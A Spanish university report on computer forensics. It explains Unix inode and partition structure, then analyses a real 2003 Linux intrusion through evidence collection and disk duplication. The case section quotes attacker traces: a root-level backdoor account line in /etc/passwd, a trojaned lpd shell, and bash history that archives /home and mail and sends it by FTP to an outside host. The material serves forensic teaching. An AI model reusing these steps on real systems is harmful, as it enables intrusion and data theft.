    Figura 2.6. Ejemplo de la estructura de archivos del file system.

    El I-nodo correspondiente a un archivo contiene una gran cantidad de informacin referente al mismo. La siguiente Figura resume algunos de los ms importantes:

    Dueo.ID de dueo y grupo

    al que pertenece.Tipo de archivo.

    Directorios, archivoscomunes, dispositivos, etc.

    Permisos.Los bits rwx asociados al dueo,

    usuarios y otros, as comoset-uid, set-gid y sticky bit.

    Numero de Hard Links.Numero de archivos que

    referencian el Inodo.

    Tamao en bytes.Indica donde termina el

    archivo (no hay caracteresde terminacin).

    MACtimes.Ext3fs adems tiene un Deletion

    time que indica cuando fueborrado un archivo.

    Direcciones de datos enel disco.

    (ver Figura siguiente).Informacin tpica

    de un Inodo

    Figura 2.7. Informacin tpica de un Inodo.

    En Linux puede usarse el comando stat para leer el contenido de un inodo asociado a un archivo. El Coroners Toolkit incluye las herramientas ils e icat que permiten leer el contenido de nodos y leer los bloques de datos a los que hace referencia un nodo, respectivamente. Algunos ejemplos de empleo de estos comandos son los siguientes:

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 23

    Funcin Sintaxis bsica Ejemplo Leer el contenido de un inodo stat filename s tat /e tc/passwd

    Leer el bloque de datos asociado a un inodo icat dispositivo inodo i cat /dev/hda1 423

    Tabla 2.2. Ejemplos de lectura de inodos y bloques de datos asociados

    Los tres comandos leen directamente los Inodos por lo cual algunas tcnicas para ocultar informacin pueden no funcionar.

    Por ejemplo, para salvar el journal de un File System podramos hacer lo siguiente:

    Comando Funcin tune2fs -l /dev/hda1 | grep -i journal Conocer el inodo del journal

    icat /dev/hda1 8 >journalfile Enva el contenido del journal a un archivo7

    Tabla 2.3. Ejemplo de salvado del journal de un File System.

    El direccionamiento a la posicin en el disco donde se encuentran los datos propiamente dichos se realiza por medio de una estructura de bloques direccionamiento indirecto. Los primeros 12 bloques de datos que ocupa un archivo se direccional en forma directa. Si un archivo referenciado por un inodo ocupa ms de 12 bloques de datos, la direccin del bloque nmero 13 apunta a un sector del disco especficamente asignado para almacenar direcciones de bloques de datos. Este sector se llama Bloque de Direccionamiento Indirecto Simple (singly indirect block). Cuando se llena, el registro 14 del inodo apunta a otro bloque de direcciones que se llama Bloque de direccionamiento indirecto doble (doulby indirect block) que a su vez apunta a bloques de direccionamiento indirecto simple. Los file system UNIX soportan hasta 3 niveles de direccionamiento indirecto.

    7 El contenido debe enviarse a otro file system para evitar que el journal se destruya a si mismo con su propio

    contenido.

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 24

    La siguiente Figura ilustra la estructura de direccionamiento de datos:

    12

    ... ...

    13

    1036

    ... ...

    1037

    2060

    ... ...

    2061

    1

    ...

    2

    ...

    ...

    ...

    12...

    12131415

    Punteros de un Inodo

    Direccionamientosimple

    Direccionamientodoble

    Direccionamientotriple

    ...

    ...

    ...

    Bloques de datos

    Figura 2.8. Estructura de direccionamiento de datos dentro de un Inodo.

    2.2.4. Estructura de una particin UNIX.

    Una particin de UNIX tpica est conformada por grupos de bloques del mismo tamao. Cada grupo est constituida por bloques cuyo tamao vara de acuerdo al file system. Cada grupo contiene cierta informacin redundante sobre la estructura del file system que le otorga mayor robustez y seguridad. La siguiente Figura muestra la estructura tpica:

    Etiqueta Particin Particin Particin

    Grupo debloques 0 ...

    Grupo debloques N-1

    Grupo debloques N

    superblock

    Descriptorde grupo

    bitmap debloques

    bitmap deinodos

    Tabla deinodos Datos

    Figura 2.9. Estructura de un File system UNIX tpico.

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 25

    El superbloque identifica el file system y contiene sus parmetros principales (bloques libres, inodos libres, tamaos de bloques, etc.). Cada zona posee su propia copia del superbloque en forma redundante. En algunos casos la redundancia puede ser til para recuperar file system daados.

    Los atributos del grupo se encuentran en el Descriptor de grupo, y los Bitmaps de bloques indican el estado de uso de cada uno de los bloques del grupo. El estado de cada uno de los inodos se encuentra almacenado en el bitmap de inodos, que funciona del mismo modo que el bitmap de bloques. La tabla de inodos referencia los nombres de archivos con los nmeros de inodos y contiene asimismo los inodos.

    La estructura de grupos de bloques provee una gran robustez y confiabilidad pues las estructuras de control del sistema estn replicadas en cada grupo de bloques lo que permite recuperarse en forma rpida si el superbloque se corrompe. Esta estructura tambin permite obtener una buena performance pues al reducir la distancia entre la tabla de inodos y los bloques de datos es posible reducir el movimiento del cabezal del disco en lecturas y escrituras.

  • 3. Anlisis de un caso real

    Analizaremos uno de los casos reales presentados en el libro Real Digital Forensics, de Jones, Bejtlich y Rose. Elegimos el caso BRJ Softwares Intrusin debido a que el sistema operativo de la vctima es Linux, y como tal nos permite relacionar los ejemplos y mtodos empleados en el libro Forensic Discovery. Por otro lado, la disponibilidad de herramientas libres es mayor para ambientes Unix, facilitando la prctica del anlisis forense.

    El ataque investigado se realiz contra un equipo Linux (IP: 102.60.21.3) utilizado por los desarrolladores de la compaa para probar sus productos. La investigacin se dispar al recibir el da 8 de septiembre de 2003 un reporte del usuario richard, indicando que alguien ms estaba conectado con ese usuario en el equipo. Al recibir el informe, se decide respaldar todo el trfico de red capturado en los ltimos meses, recolectar la informacin voltil del equipo, recolectar la informacin no voltil del equipo, y duplicar el disco.

    3.1. Recoleccin de Informacin Voltil

    La recoleccin de informacin forense en un sistema debe realizarse siguiendo el orden de volatilidad (OOV), tal como se estableci al comienzo de este trabajo. Por tal motivo, comenzaremos este anlisis por la recoleccin de la informacin voltil. Por informacin voltil entendemos la informacin que se perdera al apagar el equipo, tales como:

    3.1.1. Fecha y hora del sistema 3.1.2. Conexiones activas, puertos abiertos 3.1.3. Procesos, y archivos y puertos a los que estn accediendo 3.1.4. Tablas de ruteo 3.1.5. Mdulos del kernel cargados en memoria 3.1.6. Filesystems montados

    Para registrar la salida de todos los comandos ejecutados, transferiremos la salida de los mismos del equipo investigado hacia el equipo de trabajo, utilizando la utilidad netcat. Para ello antes de la ejecucin de cada comando, en el equipo de trabajo debemos ejecutar:

    nc v l p 10000 > comando.txt

    Este comando abre el puerto 10000 en el equipo de trabajo, y queda en modo Listen esperando conexiones. A su vez, el modificador v informa sobre el desarrollo de la conexin.

    Luego, en el equipo investigado se debe ejecutar cada comando redirigiendo su salida al puerto abierto en el equipo de trabajo:

    comando | nc IP_equipo_de_trabajo 10000

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 27

    De esta forma, la salida del comando ser redirigida hacia el equipo de trabajo, almacenndose en el archivo comando.txt. Una vez completado el comando debe interrumpirse el comando nc en el equipo de trabajo. Hecho esto, es recomendable computar inmediatamente un hash MD5 o SHA-1 del archivo comando.txt, para eventualmente probar la inalterabilidad del mismo.

    3.1.1. Fecha y hora del sistema

    Utilizando el comando date es posible recolectar la fecha y hora del sistema, a fin de verificar la misma, y tener un punto de referencia en el tiempo.

    3.1.2. Conexiones activas y puertos abiertos.

    Es fundamental determinar rpidamente las conexiones activas en el equipo investigado, ya que pueden reveler importantes indicios sobre el ataque. Para ello debemos utilizar el comando:

    netstat an

    El comando netstat muestra informacin sobre el estado, actividad y estadsticas de las conexiones de red. El modificador a muestra informacin sobre todas las conexiones y sockets activos, o en estado Listen (es decir, servidores). El modificador n se utiliza para evitar la resolucin inversa de las direcciones IP detectadas, por lo que se muestran en forma numrica.

    Al ejecutar este comando se obtiene un largo listado de conexiones activas y en estado Listen, siendo las ms importantes las siguientes:

    Proto Local Address Foreign Address State tcp 102.60.21.3:22 94.90.84.93:2094 ESTABLISHED tcp 102.60.21.3:3879 94.90.84.93:2090 ESTABLISHED tcp 102.60.21.3:515 94.90.84.93:1761 CLOSE tcp 102.60.21.3:2323 0.0.0.0:* LISTEN tcp 0.0.0.0:3879 0.0.0.0:* LISTEN

    Tabla 3.1. Listado de conexiones.

    Las tres direcciones remotas involucradas estn fuera de la empresa, y no son conexiones utilizadas habitualmente en el equipo investigado. La primer lnea muestra una conexin desde esa IP sospechosa hacia el puerto de ssh del equipo investigado. La segunda lnea muestra una conexin al puerto 3879 del equipo investigado. Finalmente, la tercer lnea muestra una conexin al puerto 515 del equipo investigado. Al ser un puerto menor a 1024, es lo que se conoce como Well Known Port. Los Well Known Port son puertos cuyo uso est estandarizado por la IANA (Internet Assigned Numbers Authority), por lo que tienen asignadas una funcin especfica. En el caso del puerto 515, el mismo se corresponde con el servicio de impresin por red. Este puerto suele estar en modo Listen

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 28

    con el proceso lpd escuchando, pero en este caso tuvo una conexin activa desde la IP sospechosa. Esto lleva a pensar en alguna vulnerabilidad existente en dicho proceso y puerto.

    Es fundamental en la ejecucin de un anlisis forense las consultas a organismos y entidades relacionadas con la seguridad informtica. En este caso una consulta permiti determinar que precisamente la versin de lpd existente en el equipo investigado presentaba una vulnerabilidad tal que permita a un usuario remoto obtener control del sistema como superusuario.

    Por otro lado, es sospechoso tambin que los puertos 2323 y 3879 se encuentran en estado Listen, es decir, abiertos y esperando conexiones. Estos puertos no eran utilizados normalmente por ningn proceso dentro de la empresa, por lo cual deben ser investigados.

    3.1.3. Procesos, y archivos y puertos a los que estn accediendo.

    Para poder contar con ms indicios para separar la operatoria normal dentro de la empresa de la propia del ataque investigado, es necesario listar los procesos y los archivos y conexiones correspondientes a los mismos. Para ello se utiliza el comando lsof, que lista los archivos y conexiones abiertas de todos los procesos. De forma similar a netstat, utilizamos el modificador n para evitar la resolucin inversa de las direcciones IP obtenidas.

    La salida de este comando es particularmente extensa, por lo que es necesario buscar la informacin pertinente dentro de la misma. Buscando directamente el puerto 3879 descubierto anteriormente, encontramos la siguiente informacin:

    Command PID User Type Node Name Sh 5077 root DIR 64186 /tmp/.kde Sh 5077 root IPv4 TCP 102.60.21.3:3879 -> 94.90.84.93:2090 (ESTABLISHED) Sh 5077 root IPv4 TCP 102.60.21.3:3879 -> 94.90.84.93:2090 (ESTABLISHED) Sh 5077 root CHR 29284 /dev/null Sh 5077 root IPv4 TCP 102.60.21.3:printer -> 94.90.84.93:1761 (CLOSED) Sh 5077 root IPv4 TCP *:3879 (LISTEN) Sh 5077 root IPv4 TCP 102.60.21.3:3879 -> 94.90.84.93:2090 (ESTABLISHED)

    Tabla 3.2. Listado de conexiones y procesos vinculados.

    El comando mostrado es sh, es decir, un shell de usuario, que permite ingresar comandos al sistema operativo. Notamos en la cuarta lnea que la salida de errores del mismo est redirigida hacia /dev/null, de forma tal de que los mismos no se escriban en la consola del equipo, sino que se desechen.

    La primera lnea muestra que el directorio de trabajo de este proceso es un directorio oculto (.kde) dentro del directorio /tmp. Este comportamiento no es usual, ya que en general el directorio de trabajo de un shell es el correspondiente al directorio home del usuario. Mucho ms llamativo es el hecho de que el directorio de trabajo sea oculto. En la segunda, tercera y sptima lnea notamos

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 29

    establecida la conexin que ya antes habamos detectado con el comando netstat. En la quinta lnea vemos que el puerto printer tuvo una conexin activa con la IP sospechosa. Esto ya lo habamos detectado con el comando netstat, pero ahora pudimos establecer la asociacin con el comando sh. Esto no debiera ser as, ya que en este puerto las conexiones debieran realizarse con el proceso lpd, como se mencionara anteriormente. Es decir, un usuario se conect al puerto 515 del equipo investigado, y estableci un shell donde ejecutar comandos en el mismo.

    En la misma salida de lsof n se obtuvo la siguiente informacin:

    Command PID User Type Node Name Sh 5278 root DIR 4096 /tmp/.kde/brute/john-1.6/run

    Tabla 3.3. Salida lsof -n.

    Al observar esta lnea vemos que el proceso 5278 se est ejecutando en el directorio /tmp/.kde/brute/john-1.6/run. Esta informacin puede ser considerada como evidencia que el usuario root est corriendo la versin 1.6 de un programa conocido como John The Ripper. Este programa es un conocido cracker de claves por fuerza bruta. En este punto podemos estar bastante seguros que un atacante desde la IP 94.90.84.93 est usando este programa para obtener la clave de algn usuario.

    Finalmente, para listar todos los procesos activos en el equipo, usamos el comando ps aux. Este comando lista todos los procesos y los usuarios con los que se estn ejecutando. Al correr este comando no se observ ningn proceso particularmente sospechoso, sin siquiera poder observarse el cracker de claves antes mencionado.

    Tambin podemos notar que no se observaron rastros del puerto TCP:1023 en la salida del comando lsof. Estos dos indicios pueden llevar a pensar que el kernel del sistema operativo fue modificado en tiempo de ejecucin para ocultar convenientemente procesos y archivos pertenecientes al atacante. Al duplicar posteriormente el disco del equipo investigado, se podr determinar esta suposicin.

    3.1.4. Tablas de ruteo

    Utilizando el comando netstat rn podemos obtener la tabla de ruteo activa del equipo investigado. El atacante podra haber cambiado o editado la tabla de ruteo para dirigir el trfico del equipo investigado segn su conveniencia.

    Sin embargo, en este caso la tabla de ruteo no presenta ninguna alteracin.

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 30

    3.1.5. Mdulos del kernel cargados en memoria

    Utilizando el comando lsmod podemos ver los mdulos actualmente cargados en el kernel.

    Los mdulos observados corresponden todos al sistema, sin observarse ninguno relacionado con el accionar del atacante. Sin embargo, el atacante puede haber cargado un mdulo para ocultar los procesos y archivos antes mencionados, a la vez que ocultara el mismo mdulo.

    3.1.6. Filesystems montados

    Se puede utilizar el comando mount o df para ver los filesystems actualmente montados en el equipo.

    Al utilizar el comando df no se observ ninguna alteracin, ni filesystems montados a travs de la red en el equipo investigado.

    3.2. Recoleccin de Informacin No Voltil

    La informacin no voltil puede luego recuperarse desde una copia forense del disco. Sin embargo, se resuelve recolectar algo de esta informacin antes de apagar el equipo investigado. Esta informacin incluye:

    3.2.1. Versin del Sistema Operativo y nivel de parches

    3.2.2. MAC times y hash del filesystem

    3.2.3. Usuarios conectados actualmente, e histricos

    3.2.4. Logs del sistema

    3.2.5. Cuentas de usuario

    3.2.6. Histrico de los usuarios

    3.2.1. Versin del Sistema Operativo y nivel de parches

    Para chequear la versin de sistema se utiliza el comando uname a. De acuerdo a la salida del mismo, la versin del kernel de este sistema es 2.2.16-22.

    Por otro lado, el chequeo del nivel de parches de dependiente de la distribucin de Linux o versin de Unix utilizada. En este caso, por tratarse de la distribucin Red Hat, debe utilizarse el comando rpm qa.

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 31

    3.2.2. MAC times y hash del filesystem

    Se utilize el commando find para recopilar los MAC times y otras informaciones de todos los archivos del sistema:

    find / -printf %m;%Ax;%AT;%Tx;%TT;%Cx;%CT;%U;%G;%s;%p\n

    El modificador printf se utiliza para seleccionar que datos mostrar. En este caso se elige mostrar, en orden: permisos, ltima fecha de acceso, ltima hora de acceso, fecha de modificacin, hora de modificacin, fecha de cambio, hora de cambio, usuario, grupo, tamao, y ruta completa.

    A partir de este comando, se obtuvo la siguiente informacin:

    Permisos Fecha Acceso

    Hora Acceso

    Fecha Modificacin

    Hora Modificacin

    Fecha Cambio

    Hora Cambio

    Ruta Completa

    755 9/08/03 13:37 8/14/00 15:23 8/23/03 7:51 /usr/sbin/lpd 644 9/08/03 16:43 9/08/03 14:58 9/08/03 14:58 /etc/passwd 600 9/08/03 16:36 9/08/03 14:58 9/08/03 14:58 /etc/shadow 444 9/08/03 15:49 7/16/02 20:30 9/08/03 15:15 /usr/lib/perl5/site_

    perl/5.6.0/Net/Telnet.pm

    755 9/08/03 16:22 9/08/03 16:05 9/08/03 16:05 /usr/sbin/lpd

    Tabla 3.4. Listado de MACtimes.

    A partir de esta informacin es posible determinar a partir de la fecha de cambio, que el atacante instal un mdulo de Perl. Perl es un lenguaje de scripting y programacin, por lo que es posible que el mdulo instalado fuera una dependencia de las utilidades que el atacante instal en el equipo investigado. Tambin es posible determinar que los archivos /etc/passwd y /etc/shadow fueron modificados en la misma fecha sospechosa.

    Observamos dos veces el archivo /usr/sbin/lpd. Debemos notar que no est duplicado, sino que la versin creada en la fecha sospechosa tiene por nombre /usr/sbin/lpd , es decir, cuenta con un espacio al final.

    Debemos notar que no hay rastros del directorio de trabajo antes determinado, /tmp/.kde. Esto es otro indicio que un mdulo fue cargado en el kernel en tiempo de ejecucin, para ocultar el accionar del atacante.

    Por otro lado, se debe computar un hash de cada uno de los archivos del sistema, a fin de poder probar su autenticidad posteriormente. Para ello, utilizamos el comando:

    find / -type f xdev exec md5sum b {} \;

    Esto procesa todos los archivos del sistema, produciendo como salida el hash MD5 de cada uno. Debiera actualmente utilizarse un mtodo de hash ms actualizado.

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 32

    Puede utilizarse alguna base de datos de hash conocidos de archivos del sistema, a fin de descartar los que no han sido modificados.

    3.2.3. Usuarios conectados actualmente, e histricos

    Para determinar los usuarios conectados, se utiliza el comando w, obteniendo la siguiente informacin:

    USER TTY FROM LOGIN WHAT root tty1 - 1:41 t_bash

    curtis tty2 - 2:12 -bash lpd pts/2 94.90.84.93 3:00 -sh

    Tabla 3.5. Usuarios conectados.

    Notamos que el usuario lpd se encuentra conectado, y desde una IP desconocida para la empresa. Este usuario no es un usuario normal del sistema, asi que podemos sospechar que el atacante est conectado desde esa IP.

    Por otro lado, el historial de conexiones de usuarios al equipo, puede obtenerse con el comando last. A partir del mismo, se obtuvo la siguiente informacin:

    USER TTY FROM DATE richard pts/1 102.60.21.3 Mon Sep 8 16:36 16:37 richard pts/0 10.60.21.97 Mon Sep 8 16:34 16:37 richard pts/0 102.60.21.3 Mon Sep 8 16:22 16:33 richard pts/0 102.60.21.97 Mon Sep 8 16:21 16:21 richard pts/3 102.60.21.97 Mon Sep 8 16:18 16:19 richard pts/0 102.60.21.3 Mon Sep 8 16:10 16:21

    lpd pts/2 94.90.84.93 Mon Sep 8 15:00 still logged in Reboot system boot Mon Sep 8 13:37

    Tabla 3.6. Historial de conexions de usuarios al equipo.

    Luego del reinicio del equipo, vemos una conexin del usuario lpd desde la IP que consideramos sospechosa, sin que an se hubiera desconectado. Por otro lado, vemos conexiones del usuario richard desde una IP propia de la empresa, dentro de la actividad normal del mismo. Sin embargo, tambin vemos conexiones del usuario richard desde el mismo equipo investigado. Esto puede ser un indicio de la utilizacin de algn programa para redireccionar puertos, instalado por el atacante, tal vez para evitar un firewall en el equipo.

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 33

    Tanto los usuarios conectados, como el historial de conexiones de los mismos se pueden obtener de los archivos /var/run/utmp y /var/run/wtmp respectivamente.

    3.2.4. Logs del sistema

    Los sistemas operativos UNIX cuentan con un demonio que registra todos los eventos del sistema y sus programas, y los escribe en archivos de logs. De acuerdo a la configuracin de este demonio, en general los logs a revisar son messages, secure, maillog, cron, spooler, boot.log. Todos estos archivos se encuentran en /var/log.

    En el caso del equipo investigado, se observa una serie de eventos en el archivo messages en la fecha sospechosa. A la hora 14:35, se pueden observar eventos que tienen caracteres sin sentido, y datos binarios escritos directamente al log. Esto puede deberse a un ataque de desbordamiento de buffer (buffer overflow), por lo que es muy posible que el atacante haya utilizado esta tcnica para atacar al servicio de lpd.

    3.2.5. Cuentas de usuario

    En el archivo /etc/passwd pueden verse las distintas cuentas de usuario del sistema.

    Ms all de los usuarios normales de la empresa, y los propios del sistema, se observa el siguiente:

    lpd:x:0:0::/:/bin/sh

    Esta cuenta de usuario no pudo ser reconocida por la empresa. Este usuario tiene un ID de 0, y pertenece al grupo 0, por lo que tiene los mismos privilegios que el root. A su vez tiene permitido el login al sistema, mediante el shell /bin/sh.

    Este usuario fue seguramente agregado por el atacante, para poder conectarse al equipo con privilegios de root.

    3.2.6. Histrico de los usuarios

    Los sistemas operativos UNIX en general registran todos los comandos, correctos o no, ingresados por un usuario. Este listado se almacena en un archivo, en el directorio home del usuario. En el caso de estar utilizando bash como shell, el archivo tiene el nombre .bash_history.

    En el caso del equipo investigado, en el home del usuario lpd no se encontr registro alguno de la historia de comandos ejecutadas por el atacante. Generalmente los atacantes suelen eliminar este archivo, para evitar dejar rastros.

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 34

    Sin embargo, en este caso se supone que el atacante utiliz el usuario richard para introducirse en el equipo. Chequeando el arhivo .bash_history del usuario richard, encontramos los siguientes comandos sospechosos:

    Comando netstat na | less

    ps aexww | grep datapipe ls al

    kill -31 5883 Ps aexww | grep 5883

    w

    /usr/sbin/lpd /usr/sbin/lpd /bin/bash

    ls al exit

    tar cvzf /tmp/.kde/files.tar.gz /home /var/mail tar cvzf /tmp/.kde/files.tar.gz /home /var/spool/mail

    ftp 94.20.1.9 ping 94.20.1.9 ping 94.20.1.9 ftp 94.20.1.9

    ls /usr/sbin/lpd /bin/bash

    w

    Tabla 3.7. Historial de comandos del usuario richard .

    Las lneas resaltadas indicant comandos que el usuario Richard no pudo reconocer. El primero comando busca un proceso de nombre datapipe. Segn se coment, en los usuarios conectados al equipo, apareca Richard conectado desde el propio equipo investigado. Datapipe es un programa utilizado para redireccionar puertos del equipo a otros puertos, con el objeto de evitar firewalls u otras medidas de seguridad.

    Luego el atacante enva la seal 31 a un proceso. Esta seal no est definida en Linux, y es generalmete usada en distintos rootkits para el kernel. Es muy posible que el atacante haya modificado el kernel con un rootkit para ocultar sus pasos.

    El atacante luego ejecuta uno de los archivos que se haba notado antes. Es muy posible que el comando /usr/sbin/lpd /bin/bash sea utilizado para lanzar un shell con permisos de root. Finalmente, el atacante comprime y archiva los directorios /home y /var/spool/mail, y luego los enva a una direccin remota. Este aspecto es el ms importante de la investigacin, ya que se pudo determinar la existencia de una importante fuga de informacin de la empresa.

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 35

    3.3. Duplicacin Forense

    Duplicacin forense es el trmino utilizado para el procedimiento de realizar una copia de un disco de un equipo investigado, hacia otro disco. Esto se hace con el objeto de poder trabajar sobre una copia de los datos, y para poder replicar la investigacin en caso de ser necesario.

    Como ya es ha comentado, es necesario documentar todos los pasos involucrados desde el apagado del equipo investigado, hasta la culminacin de la copia realizada.

    Existen diversas herramientas para realizar copias forenses de informacin. Analizaremos brevemente las herramientas libres ms conocidas.

    3.3.1. DD

    Esta es una herramienta libre, cuya funcionalidad bsica es copiar bytes de un origen hacia un destino. El programa dd est instalado por defecto en casi cualquier distribucin de Linux y versin de UNIX.

    La utilizacin de esta herramienta es simple:

    dd if=/dev/hdb of=archivo.dd conv=notrunc,noerror,sync

    Las opciones utilizadas son:

    if=/dev/hdb : utilizada para indicar el archivo origin

    of=archive.dd : utilizada para indicar el archive destino

    conv=notrunc,noerror,sync : utilizada para no truncar la salidad en caso de error, no detener la duplicacin en caso de error, y rellenar con ceros la salida en caso de error, respectivamente.

    Puede especificarse adems el tamao de los bloques de datos a copiar, utilizando la opcin bs.

    En general se recomienda utilizar como salida de dd un archivo, y no otro dispositivo, para poder disponer del mismo para copiarlo al medio ms adecuado.

    3.3.2. DD Rescue

    Es una variacin del comando dd, orientada a discos con fallas fsicas, dado que puede utilizar tamaos de bloque variables, y recorrer el disco tanto hacia delante como hacia atrs.

    La sintaxis no es igual a la de dd:

    dd_rescue /dev/hdb archivo.dd

    Donde el primer parmetro indica el origin, y el segundo el destino.

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 36

    3.3.3. DDFLDD

    Esta herramienta agrega funcionalidad de autenticacin al dd, al tener integrado una implementacin del algoritmo de hash MD5.

    Se tiene la posibilidad de realizar hash de porciones de bloques del disco de origen, registrando los mismos en un archivo. De esta forma, es posible validar grupo por grupo de bloques contra el disco original.

    La sintaxis es similar a la de dd, pero se agregan las opciones de hashwindows y hashlog. Estas opciones permiten especificar el tamao de los grupos de bytes utilizados para calcular cada hash, y el archivo donde se guardarn los mismos, respectivamente.

    3.4. Conclusiones

    Es posible determinar que el atacante se conect al equpo desde la direccin IP 94.90.84.93, mientras que utiliz un segundo equipo con la direccin IP 94.20.1.9 como repositorio de archivos.

    Para conectarse al equipo, el atacante utiliz una vulnerabilidad del servicio lpd. El mtodo utilizado fue el de desbordamiento de buffer, y ocurri a las 2.35pm del da 8 de Septiembre de 2003. Una vez obtenido este acceso, el atacante cre una cuenta de usuario llamada lpd, con permisos de root en el equipo atacado.

    Verificando en la duplicacin forense del disco del equipo investigado, se pudo determinar que el atacante utiliz el directorio /tmp/.kde como repositorio local para sus utilidades. Dentro de las utilidades se encontr un conocido cracker de claves, utilizado para descubrir la clave del usuario richard.

    Para evitar que un firewall pudiera impedir la conexin del equipo atacado con el exterior, el atacante utiliz el programa datapipe para redireccionar el puerto TCP 23 al puerto TCP 2323.

    Es evidente que la recoleccin de informacin voltil debe hacerse lo antes posible, ya que en caso de apagar el equipo esa informacin sera seguramente perdida. Sin embargo, no es necesario recolectar informacin no voltil antes de apagar el equipo. La informacin no voltil puede ser recuperada completamente a partir de una copia forense del disco del equipo investigado.

    Realizar una copia forense del disco investigado es fundamental para la investigacin. Esta copia forense permite que otro investigador pueda replicar los pasos dados, y verificar la obtencin de los resultados mostrados. Esto es necesario en caso de una pericia judicial, ya que en caso contrario sera seguramente invalidada. Por tal motivo es necesario recolectar la informacin no voltil a partir de una copia forense de la informacin, y documentando todo y cada uno de los pasos dados.

    Sin embargo, no todas las investigaciones forenses son de ndole judicial. Dado que las estadsticas apuntan que la mayora de los ataques que recibe una empresa provienen o cuentan con

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 37

    ayuda desde la propia planta de empleados, muchas veces el inters de la investigacin pasa por descubrir o tener indicios sobre el culpable, sin llegar a etapas judiciales. No es necesario entonces, si la empresa no lo requiere, realizar una copia forense de la informacin a analizar, si bien es muy conveniente contar con una.

  • 4. Anexo

    4.1. Fragmentos de Informes Periciales. Ejemplos.

    a) Preservacin de la integridad del material informtico, a travs de las tcnicas mencionadas oportunamenente (tcnicas de hash):

    Caso1: ... A tal efecto, se utilizaron tcnicas informticas para garantizar la preservacin de la evidencia electrnica, pudiendo a futuro verificarse la integridad del material probatorio por medio de certificaciones digitales que se suministran para cada uno de los diskettes en cuestin, a saber:

    Diskette1: 5F1CE0BF7738AB171D686E2A150CC593

    Diskette2:9F3FB4171DF7F3B254CB93D4AABF6849

    Diskette3: 36E53D636E3511C5ED3DC0C76B5233F8.

    Dichas certificaciones son conocidas como valores Hash, resultando una cadena de caracteres y nmeros nica para cada uno de los diskettes obtenida a travs de un algoritmo estndar aprobado internacionalmente conocido como MD5. ...

    b) Una descripcin detallada de todas las fuentes de informacin utilizadas, as como tambin de los pasos realizados durante la investigacin:

    Caso 2: ... Se realiz un resguardo de la informacin almacenada en la computadora marca ACER, modelo Entra, Nro. de serie 012345*, a fin de cumplimentar lo solicitado en el punto 1) de pericia. Para dar cumplimiento a lo solicitado en el punto 2) de la pericia, se realizaron los siguientes procedimientos: 1-Anlisis de datos a nivel fsico, 2-Anlisis de datos a nivel lgico, 3-Anlisis cronolgico de datos .... "... Anlisis de Datos a Nivel Fsico: Se realiz una bsqueda de informacin relevante sobre todos los sectores fsicos del disco de las siguientes palabras clave: "XXX", "YYY", "ZZZ"...

    *Nota: Podemos observar como el detalle de los componentes de la computadora no siempre esta completo, siendo una posible causal de desestimacin de la prueba. (por ejemplo, la falta de marca, modelo y nmero de serie del disco rgido).

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 39

    c) En caso de haber utilizado herramientas forenses, se deber detallar el nombre y su versin:

    Caso 3: ... En base a los frmacos indicados en el Informe Tcnico Pericial Nro. 2 del Dr. XXX, se practic un anlisis de datos sobre el disco rgido de la computadora con las siguientes palabras: misoprostol, mifepristone, oxaprost y diofenac. Se especific una bsqueda exhaustiva de las cadenas de caracteres mencionadas con el software ReadIT Versin 1.01, utilizado comnmente en pericias informticas para anlisis de datos. ...

    d) La contestacin a cada uno de los puntos de pericia, debe indicar cualquier observacin o impedimento en la bsqueda de evidencia:

    Caso 4: ...El anlisis de datos a nivel lgico confirma la existencia de un enlace a un documento titulado "DDD.doc.lnk", en la carpeta \WINDOWS\Recent. Esta carpeta del sistema operativo almacena los enlaces de los ltimos archivos accedidos por el usuario de la computadora. El enlace referencia a un archivo localizado en la unidad de disco A:, lo cual indica que el documento fue trabajado en disquette. ...

    Caso 5: ... Dado que se hace impracticable realizar una impresin indiscriminada de todos los archivos localizados, se tom una muestra de ellos, para localizar visualmente informacin relevante, cuyos resultados son: un archivo (AAA.tmp) y dos visualizaciones mediante capturas de pantalla (BBB.dbf y CCC.dbt) los cuales se adjuntan al presente informe....

    4.2. Herramientas para el Anlisis Forense.

    En este apartado se presentan algunas herramientas usualmente utilizadas en las prcticas de informtica forense.

    Para cada tarea que se necesite realizar existen herramientas open source (de libre distribucin y modificacin) y tambin comerciales.

    Nombre Descripcin Open

    Source / Comercial

    Sistema Operativo Link

    Enhanced_loopback Duplicado forense y utilizacin

    como disco rgido. O.S. Linux

    (Kernel NASA)

    ftp://ftp.hq.nasa.gov/pub/ig/ccd/enhanced_l

    oopback

    Cononers Toolkit

    No analiza los datos, solamente obtiene informacin relevante

    para el anlisis.

    Incorpora un recuperador de ficheros borrados (lazarus) para cualquier Unix. Permite analizar

    los procesos en ejecucin.

    O.S. Linux http://www.porcupine.org/forensics/tct.html#source_code

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

